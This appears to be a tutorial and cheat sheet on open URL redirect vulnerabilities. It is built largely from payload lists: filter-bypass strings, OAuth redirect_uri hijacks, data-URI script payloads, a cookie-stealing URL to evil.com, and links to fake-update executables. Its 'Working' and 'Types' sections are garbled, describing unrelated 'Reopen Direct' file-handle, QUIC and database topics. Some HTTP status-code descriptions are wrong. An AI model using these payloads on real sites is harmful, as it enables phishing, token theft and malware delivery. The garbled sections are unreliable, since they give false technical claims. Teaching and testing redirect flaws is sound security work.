Open URL Redirect

An Open URL Redirect vulnerability occurs when a web application processes user-supplied input in a URL parameter and blindly redirects the user to the specified destination without proper validation or sanitization. This flaw is commonly exploited in phishing campaigns, malware distribution, and security filter bypassing. Attackers leverage this weakness to craft URLs that appear to originate from a trusted domain while redirecting users to malicious sites.

Technical Breakdown of Open URL Redirect Exploitation Web applications often implement redirection mechanisms to facilitate SSO (Single Sign-On) workflows, login flows, and external navigation. However, when these mechanisms do not impose strict validation on user-controlled input, they become vulnerable to abuse.

Example of an Exploitable Redirect Mechanism Consider a web application that includes a redirect parameter like

https://example.com/redirect?url=https://trusted-site.com

If the application does not validate the url parameter, an attacker can manipulate

https://example.com/redirect?url=https://malicious-site.com

Since the URL begins with the legitimate domain (example.com), automated security scanners, email filters, and end-users may not detect the redirection to a malicious domain.

Working of Open Redirects

  • State Preservation & Context Caching When a resource is initially opened, critical metadata such as file descriptors, socket states, session tokens, or authentication keys is cached in a secure, accessible space. This ensures that essential session parameters can be reused when reopening the resource.

  • Reconnection with Reduced Overhead Instead of triggering a full authentication, handshake, or permission verification cycle, Reopen Direct leverages the cached context to reinitialize the resource in a lightweight manner. Security mechanisms like token expiration checks, integrity validation, and secure enclave isolation ensure that the session is still valid and uncompromised.

  • State Synchronization & Resumption Upon validation, the system reattaches to the previous execution context, syncing any necessary state changes that occurred during the downtime. This ensures that the reopened resource seamlessly continues from where it was left off, minimizing disruptions.

Types of Open Redirects

Filesystem-Based Reopen Direct (Persistent File Handles & FDS Reattachment) Modern filesystems like ZFS, Btrfs, and XFS use persistent file handles to reopen recently accessed files without a full file descriptor lookup, improving efficiency. In POSIX-compliant OS environments, direct inode reattachment reduces I/O latency, benefiting enterprise applications with frequent file access.

Network Stack Reopen Direct (Zero-RTT & QUIC Implementations) QUIC (HTTP/3) supports Zero-RTT resumption, using session tickets to reconnect instantly without a full TLS handshake. TCP Fast Open (TCP-FO) employs cryptographic cookies for reduced handshake latency, while Multipath TCP (MPTCP) allows session migration across different network paths without renegotiation, ensuring seamless connectivity.

Database Connection Reopen Direct (Connection Pooling & Session Reuse) Modern databases like PostgreSQL, MySQL, and Redis use connection pooling to minimize re-authentication overhead. Additionally, prepared statement reuse caches execution plans for frequent queries, enabling instant reconnection and reducing processing delays.

Virtualization & OS-Level Reopen Direct (Process Suspension & Handle Caching) Docker and Kubernetes leverage persistent storage volumes for fast container reattachment. Linux's CRIU (Checkpoint/Restore in Userspace) enables process state restoration, while Windows handle duplication allows direct access to previously allocated system resources, cutting down startup times.

Memory-Based Reopen Direct (NVMe & Persistent Memory State Preservation) NVMe-over-Fabrics (NVMe-oF) supports persistent memory handles, enabling direct storage reattachment without reinitialization. In high-performance computing (HPC), RDMA (Remote Direct Memory Access) bypasses traditional OS networking layers for ultra-fast memory reconnections.

Methodology

An open redirect vulnerability occurs when a web application fails to validate user-supplied URLs in redirects, allowing attackers to manipulate the destination. This can be exploited in phishing attacks, session hijacking, and malicious redirections. Example

https://example.com/redirect.php?url=https://trusted-site.com

An attacker can modify it to

https://example.com/redirect.php?url=https://malicious-site.com

Since the application does not validate the destination, the user is unknowingly redirected to a malicious website, believing they are still interacting with a trusted source.

Understanding HTTP Redirection

HTTP Redirection Status Codes

  1. 300 Multiple Choices – A content negotiation mechanism that allows clients to select from multiple representations of a resource based on headers like Accept-Language or Accept-Encoding.
  2. 301 Moved Permanently – Implements HSTS (HTTP Strict Transport Security) in modern browsers to enforce secure HTTPS redirection. Frequently used with 301-caching mechanisms in CDNs (Content Delivery Networks).
  3. 302 Found (Temporary Redirect) – Used in OAuth 2.0 authentication flows and SSO (Single Sign-On) workflows to relay users between identity providers and applications.
  4. 303 See Other – Common in RESTful APIs to enforce proper HTTP method usage by redirecting clients to retrieve resources via GET instead of POST.
  5. 304 Not Modified – Integral to conditional requests using ETag and If-Modified-Since headers for efficient bandwidth utilization in HTTP/2 and HTTP/3.
  6. 305 Use Proxy (Deprecated due to security vulnerabilities) – Originally used to enforce proxy-based content routing but replaced by modern HTTP tunneling methods and PAC (Proxy Auto-Configuration) scripts.
  7. 306 (Unused) – Previously reserved for future redirection strategies but deprecated before adoption.
  8. 307 Temporary Redirect – Ensures HTTP method preservation in compliance with RFC 7231, making it crucial for APIs that require request integrity across redirects.
  9. 308 Permanent Redirect – Enforces non-modifiable HTTP methods during redirection, often leveraged in microservices architecture for API versioning and service migrations. etc.)

Types of Redirects

1. Path-Based Redirects Instead of query parameters, redirection logic relies on the path itself.

Slash Injection: https://example.com/redirect/http://malicious.com


Relative Path Manipulation: https://example.com/redirect/../http://malicious.com


Encoded Path Injection: https://example.com/%2f%2fmalicious.com

2. JavaScript-Based Redirects If redirection is controlled via JavaScript, attackers can manipulate script variables. window.location.href Manipulation

window.location.href = "https://malicious.com";

setTimeout Redirects

setTimeout(() => { window.location.replace("https://malicious.com"); }, 3000);

history.pushState Manipulation

history.pushState(null, null, "https://malicious.com");

3. Meta Refresh Redirects Automatically redirects after a specified delay. Immediate Redirect

<meta http-equiv="refresh" content="0;url=https://malicious.com">

Delayed Phishing Redirect

<meta http-equiv="refresh" content="5;url=https://malicious.com">

4. Header-Based Redirects Set via HTTP response headers, often abused in open redirects. Location Header Injection

HTTP/1.1 302 Found
Location: https://malicious.com

Refresh Header Exploitation

Refresh: 5;url=https://malicious.com

5. Script-Injection-Based Redirects Embedding malicious scripts inside request parameters. DOM-Based Redirect

<script>document.location='https://malicious.com'</script>

Inline Event Handler Exploitation

<a href="#" onclick="window.location='https://malicious.com'">Click here</a>

6. Open Redirect via OAuth/SSO Abusing OAuth redirection mechanisms for phishing attacks. OAuth Login Redirect Exploitation

https://example.com/oauth/authorize?redirect_uri=https://malicious.com

SSO Relay State Tampering

https://example.com/sso?RelayState=https://malicious.com

7. CDN & Reverse Proxy Redirects Leveraging misconfigured CDN caching and reverse proxy rules. CNAME Hijacking Redirects

https://cdn.example.com -> https://malicious.com

Proxy Pass Rewrite Abuse (Nginx Example)

location /redirect/ {


    proxy_pass https://malicious.com;
    
}

Path-Based Redirects

Instead of using query parameters, redirection logic manipulates the URL path, making it easier to bypass security checks. Slash Injection Redirects to an external site by directly appending the target URL.

https://example.com/redirect/http://malicious.com

Relative Path Manipulation Bypasses filters by using ../ to break out of restricted directories.

https://example.com/redirect/../http://malicious.com

Double URL Encoding Encodes .. as %2e%2e to bypass basic validation

https://example.com/redirect/%2e%2e/http://malicious.com

Null Byte Injection Triggers improper input handling by terminating strings early.

https://example.com/redirect/%00http://malicious.com

Open Directory Traversal Exploits misconfigured parsers that normalize multiple slashes.

https://example.com/redirect////http://malicious.com

JavaScript-Based Redirects

If an application dynamically sets redirection URLs using JavaScript, attackers can manipulate script variables to control the destination. Direct Variable Manipulation When redirection URLs are set as variables, attackers can modify them. For example:

var redirectTo = "http://trusted.com"; window.location = redirectTo;

A payload like ?redirectTo=http://malicious.com forces redirection to a malicious domain.

DOM-Based Injection If a script reads user-controlled parameters, it can be exploited. For example:

var url = new URLSearchParams(window.location.search).get("next"); window.location.href = url;

A payload such as ?next=javascript:alert(1) executes JavaScript instead of performing a valid redirect.

Eval Injection If user input is passed into eval, attackers can execute arbitrary code. Example:

eval("window.location = '" + userInput + "'");

A payload like ?userInput=';alert(1);//' can run malicious JavaScript.

Encoded Redirect Bypass Some browsers allow data: URIs, enabling JavaScript execution. Example payload:

?redirectTo=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

This can embed and execute a script in the browser.

XHR Redirect Manipulation When redirects are fetched dynamically, attackers can inject JavaScript. If a script uses:

fetch("/getRedirect").then(res => res.text()).then(url => window.location = url);

An attacker can manipulate the server response to return javascript:alert(1), executing malicious code instead of a valid redirect.

Meta Tag Redirects

Meta tags in HTML can be used to trigger automatic redirections, making them a target for attackers. Basic Meta Redirect A simple redirection is done using

<meta http-equiv="refresh" content="0; URL='http://trusted.com'">

An attacker can manipulate this by injecting

<meta http-equiv="refresh" content="0; URL='http://malicious.com'">

Dynamic Meta Injection If the redirect URL is dynamically set via user input, an attacker can alter it.

<meta http-equiv="refresh" content="0; URL='${userInput}'">

A payload like ?userInput=http://malicious.com changes the redirection target.

JavaScript-Controlled Meta Redirect If JavaScript modifies the meta tag, attackers can exploit it.

document.querySelector("meta[http-equiv='refresh']").setAttribute("content", "0; URL=" + userURL);

A payload like ?userURL=http://malicious.com forces redirection.

Exploitation Techniques

Attackers exploit redirect vulnerabilities to manipulate user behavior or bypass security restrictions. Phishing Attacks An attacker crafts a malicious link that appears to be from a trusted source but redirects to a phishing page.

https://trusted.com/redirect?url=http://phishing.com

This tricks users into entering credentials on a fake website.

Open Redirect in OAuth Flows If an OAuth implementation does not validate redirect URIs, attackers can hijack authentication flows.

https://example.com/oauth?redirect_uri=http://malicious.com

This can steal access tokens or session credentials.

Chained Redirects for Bypass Attackers can use multiple redirections to evade security filters.

https://trusted.com/redirect?url=https://intermediate.com/redirect?url=http://malicious.com

If only the first redirect is validated, the final destination remains malicious.

Cookie Theft via Redirects Some applications attach session cookies to redirected requests. If the final destination is attacker-controlled, it can capture sensitive cookies.

document.cookie="sessionID=xyz; path=/; domain=malicious.com"

Once redirected, the attacker retrieves the session token.

Search Engine Manipulation Attackers inject redirects into indexed pages to manipulate SEO rankings or drive traffic to malicious sites.

https://example.com/page?redirect=http://spam-site.com

If search engines follow the redirect, the malicious site gains credibility.

Common Query Parameters in Redirects

?checkout_url={payload}


?continue={payload}


?dest={payload}


?destination={payload}


?go={payload}


?image_url={payload}


?next={payload}


?redir={payload}


?redirect_uri={payload}


?redirect_url={payload}


?redirect={payload}


?return_path={payload}


?return_to={payload}


?return={payload}


?returnTo={payload}


?rurl={payload}


?target={payload}


?url={payload}


?view={payload}


/{payload}


/redirect/{payload}

Filter Bypass Techniques

Attackers use various techniques to bypass security filters and execute open redirects. Using a Whitelisted Domain or Keyword Attackers append their domain to a whitelisted one to evade domain validation.

www.whitelisted.com.evil.com → Redirects to evil.com

Using CRLF to Bypass "javascript" Blacklisted Keyword Carriage Return (CR) and Line Feed (LF) can bypass string-based filters.

java%0d%0ascript%0d%0a:alert(0)

Using // and //// to Bypass "http" Blacklist Browsers interpret multiple slashes as valid URLs.

//google.com
////google.com

Using https: to Bypass "//" Blacklist If // is blacklisted, attackers use https: directly.

https:google.com

Using / and Variants to Bypass "//" Blacklist Encodes slashes in an alternative way.

\/\/google.com/


/\/google.com/

Using %E3%80%82 to Bypass "." Blacklisted Character This Unicode character acts as a dot (.).

/?redir=google。com


//google%E3%80%82com

Using Null Byte %00 to Bypass Blacklist Filters Some parsers terminate at null bytes, ignoring the rest of the input.

//google%00.com

Using HTTP Parameter Pollution (HPP) Combining multiple next parameters to override filtering logic.

?next=whitelisted.com&next=google.com

Using "@" Character for Authentication Redirection Browsers interpret the part before @ as credentials, redirecting to the domain after it.

//<user>:<password>@<host>:<port>/<url-path>


http://[email protected]/

Creating Folders That Mimic Trusted Domains Using folder structures to mislead filters.

http://www.yoursite.com/http://www.theirsite.com/


http://www.yoursite.com/folder/www.folder.com

Using "?" Character to Transform a URL Browsers interpret ? differently, making URLs appear valid.

http://www.yoursite.com?http://www.theirsite.com/


http://www.yoursite.com?folder/www.folder.com

Host/Split Unicode Normalization Certain Unicode characters are interpreted differently in different contexts.

https://evil.c℀.example.com → Becomes https://evil.ca/c.example.com


http://a.com／X.b.com → Misinterpreted as http://X.b.com

Open Redirect in OAuth & SSO Implementations

An Open Redirect vulnerability occurs when a web application allows unvalidated user input to control a redirection. Attackers exploit this flaw to redirect victims to malicious sites, conduct phishing attacks, steal session tokens, or bypass security mechanisms. OAuth Token Theft via Open Redirect Payloads for Open Redirect in OAuth & SSO Basic Redirect Payloads

https://legit-site.com/redirect?url=https://evil.com
https://trusted-idp.com/login?continue=https://attacker.com
https://service.com/auth?returnTo=https://malicious.com

JavaScript-Based Redirections

https://legit-site.com/redirect?url=javascript:alert('Hacked')
https://legit-site.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSGFja2VkJyk8L3NjcmlwdD4=

Using URL Shorteners to Obfuscate Redirects

https://legit-site.com/redirect?url=https://bit.ly/malicious
https://legit-site.com/redirect?url=https://tinyurl.com/phishing

URL Encoding & Obfuscation

Attackers use URL encoding and obfuscation techniques to bypass filters and disguise malicious redirections. This allows them to manipulate authentication flows, redirect users to phishing sites, or execute JavaScript payloads.

https://legit-site.com/redirect?url=https://evil.com


https://auth-provider.com/oauth/authorize?


client_id=trustedApp&redirect_uri=https://attacker.com


https://service.com/auth?returnTo=https://malicious.com

URL encoding allows attackers to evade detection by encoding special characters.

https://legit-site.com/redirect?url=https%3A%2F%2Fevil.com


https://trusted-idp.com/login?continue=https%3A%2F%2Fattacker.com


https://service.com/auth?returnTo=%2F%2Fmalicious.com

Double encoding makes payloads harder to detect and filter.

https://legit-site.com/redirect?url=https%253A%252F%252Fevil.com


https://auth-provider.com/oauth/authorize?


redirect_uri=https%25253A%25252F%25252Fattacker.com

Obfuscation techniques such as protocol-relative URLs and data URIs can be used to bypass protections.

https://legit-site.com/redirect?url=//evil.com


https://legit-site.com/redirect?


url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnSGFja2VkJyk8L3NjcmlwdD4=

Phishing & Social Engineering Attacks

Attackers exploit open redirects to trick users into visiting phishing sites that mimic legitimate login pages.

https://auth.provider.com/oauth/authorize?


client_id=trustedApp&redirect_uri=https://legit.com.login.attacker.com


https://legit-site.com/login?next=https://phishing.com

Shortened URLs hide the true destination of a redirection, making them effective in phishing campaigns.

https://legit-site.com/redirect?url=https://bit.ly/malicious


https://legit-site.com/redirect?url=https://tinyurl.com/phishing

Session Hijacking & Token Theft

By exploiting open redirects, attackers can intercept OAuth tokens or hijack authenticated sessions.

https://auth-provider.com/oauth/authorize?


response_type=token&client_id=trustedApp&redirect_uri=https://evil.com/capture

Exfiltrating session cookies through redirection can lead to account takeovers.

https://legit-site.com/redirect?url=https://evil.com/steal.php?cookie=document.cookie

Attackers can use JavaScript-based payloads to capture tokens or execute malicious scripts.

https://legit-site.com/redirect?url=javascript:alert(document.cookie)

Malware Distribution

Malware can be delivered through open redirects by forcing downloads or leading users to exploit kits.

https://legit-site.com/redirect?url=https://malicious.com/malware.exe

Fake update notifications trick users into installing malware.

https://legit-site.com/update?next=https://attacker.com/fake-update.exe

Drive-by downloads exploit browser vulnerabilities to automatically install malicious software.

https://legit-site.com/redirect?url=data:text/html;base64,PGh0bWw+PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0naHR0cHM6Ly9hdHRhY2tlci5jb20vbWFsd2FyZS5leGUnPC9zY3JpcHQ+PC9odG1sPg==

Labs

Root Me - HTTP - Open redirect PortSwigger - DOM-based open redirection

Host/Split Exploitable Antipatterns in Unicode Normalization - Jonathan Birch - August 3, 2019 Open Redirect Cheat Sheet - PentesterLand - November 2, 2018 Open Redirect Vulnerability - s0cket7 - August 15, 2018 Open-Redirect-Payloads - Predrag Cujanović - April 24, 2017 Unvalidated Redirects and Forwards Cheat Sheet - OWASP - February 28, 2024 You do not need to run 80 reconnaissance tools to get access to user accounts

Cheatsheet

PayloadsAllTheThings